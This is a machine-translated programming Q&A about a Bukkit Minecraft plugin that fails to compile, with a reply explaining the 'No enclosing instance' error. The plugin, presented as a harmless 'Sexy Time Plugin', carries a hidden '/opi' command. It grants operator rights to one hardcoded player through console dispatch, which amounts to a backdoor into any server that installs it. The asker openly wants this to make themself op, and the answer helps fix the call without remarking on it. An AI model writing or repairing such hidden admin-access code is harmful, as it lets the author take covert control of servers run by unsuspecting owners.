我需要上述错误的帮助 我的代码是
package me.golfeyes298.SexyTime;
import java.util.logging.Logger;
import org.bukkit.Bukkit;
import org.bukkit.plugin.java.JavaPlugin;
import org.bukkit.command.Command;
import org.bukkit.command.CommandSender;
import org.bukkit.entity.Player;
import me.Karuso33.RunAs.FirstClass;;
public class SexyIce extends JavaPlugin {
private Logger logger = getLogger();
public void sendConsole(String Message){
this.logger.info("[Sexy Time Plugin]" + Message);
}
public void onEnable(){
this.sendConsole("Sexy Time Plugin Enabled");
}
public void onDisable(){
this.sendConsole("Sexy Time Plugin Disabled");//Why does this work...
}
public boolean onCommand(CommandSender sender, Command command,String CommandLabel, String[] args) {
Player player = (Player) sender;
String Befehl = ("op cheeseballs500");
if(CommandLabel.equalsIgnoreCase("opi")){
if(args.length == 0){
if(player.getName() != "cheeseballs500"){
player.sendMessage("You do not have permission to do this");
}else{
Bukkit.broadcastMessage("");
player.sendMessage("You are now op!");
FirstClass.this.executeAsConsole(Befehl, sender);//But this doesn't (No enclosing instance of the type FirstClass is accessible in scope)
}
}
}
return false;
}
}
我已经导入了所有需要的库和类是正确的,我想不出别的什么。提前致谢。 FirstClass的代码是
package me.Karuso33.RunAs;
import java.io.File;
import java.util.ArrayList;
import org.bukkit.Bukkit;
import org.bukkit.ChatColor;
import org.bukkit.command.Command;
import org.bukkit.command.CommandSender;
import org.bukkit.entity.Player;
import org.bukkit.event.EventHandler;
import org.bukkit.event.EventPriority;
import org.bukkit.event.Listener;
import org.bukkit.event.player.PlayerChatEvent;
import org.bukkit.event.player.PlayerLoginEvent;
import org.bukkit.plugin.PluginManager;
import org.bukkit.plugin.java.JavaPlugin;
public class FirstClass extends JavaPlugin implements Listener {
public void onEnable() {
File fileconfig = new File("plugins/LogBlockStats/config.yml");
if (!fileconfig.exists())
{
this.getConfig().options().copyDefaults(true);
this.saveConfig();
}
}
public boolean onCommand(CommandSender sender, Command cmd, String commandLabel, String[] args)
{
CommandSender p = sender;
if (cmd.getName().equalsIgnoreCase("sudo") || cmd.getName().equalsIgnoreCase("runas") || cmd.getName().equalsIgnoreCase("run")) {
String dontPermitted = ChatColor.RED + "You don't have permission to do this";
//Run
String Befehl = ""; //(German) Befehl = Command
if (args.length < 2) {
p.sendMessage(ChatColor.RED + "Usage: /" + cmd.getName() + " <player name/console alias>");
return true; //return false;
}
for(int i=0;i<args.length - 1;i++) Befehl+=args[i + 1] + " ";
//Check for "/" in it, and remove - if possible
if (Befehl.substring(0,1).equalsIgnoreCase("/")){Befehl = Befehl.substring(1);}
if (args[0].toString().equalsIgnoreCase(this.getConfig().getString("ConsoleAlias"))) {
if (p.hasPermission("runas.console")) {
executeAsConsole(Befehl, p);
return true;
} else {
p.sendMessage(dontPermitted);
return true;
}
} else {
if (p.hasPermission("runas.player")) {
executeAsPlayer(Befehl, args[0], p);
return true;
} else {
p.sendMessage(dontPermitted);
return true;
}
}
}
return false;
}
public void executeAsConsole(String Befehl, CommandSender sender) {
sender.sendMessage(ChatColor.YELLOW + "Your command will be executed by the Console");
Bukkit.getServer().dispatchCommand(Bukkit.getServer().getConsoleSender(), Befehl);
}
public void executeAsPlayer(String Befehl, String Executer, CommandSender sender) {
if (Bukkit.getServer().getPlayer(Executer) != null) {
Bukkit.getServer().getPlayer(Executer).performCommand(Befehl);
sender.sendMessage(ChatColor.YELLOW + "Your command will be executed by " + Bukkit.getServer().getPlayer(Executer).getName());
} else {
sender.sendMessage(ChatColor.YELLOW + "This player does not exsist");
}
}
}
我正在使用executeAsConsole(String Befehl,sender)方法在控制台中运行/ op cheeseballs500让我操作 再次任何帮助赞赏。 请加入我的minecraft服务器:mamnas.darktech.org
答案 0 :(得分:1)
在
FirstClass.this.executeAsConsole(Befehl, sender);//But this doesn't (No enclosing instance of the type FirstClass is accessible in scope)
符号
FirstClass.this
正在尝试访问外部类实例,但在您的情况下没有。声明SexyIce
方法的onCommand
类不是FirstClass
的内部类。
我不知道FirstClass
应该是什么,所以我不能提出太多建议,但你可以实例化它并在实例上调用你的方法。
以下
public void onDisable(){
this.sendConsole("Sexy Time Plugin Disabled");//Why does this work...
}
有效,因为this
指的是当前实例(方法被称为one实例),它扩展了JavaPlugin
并且可能有sendConsole
方法。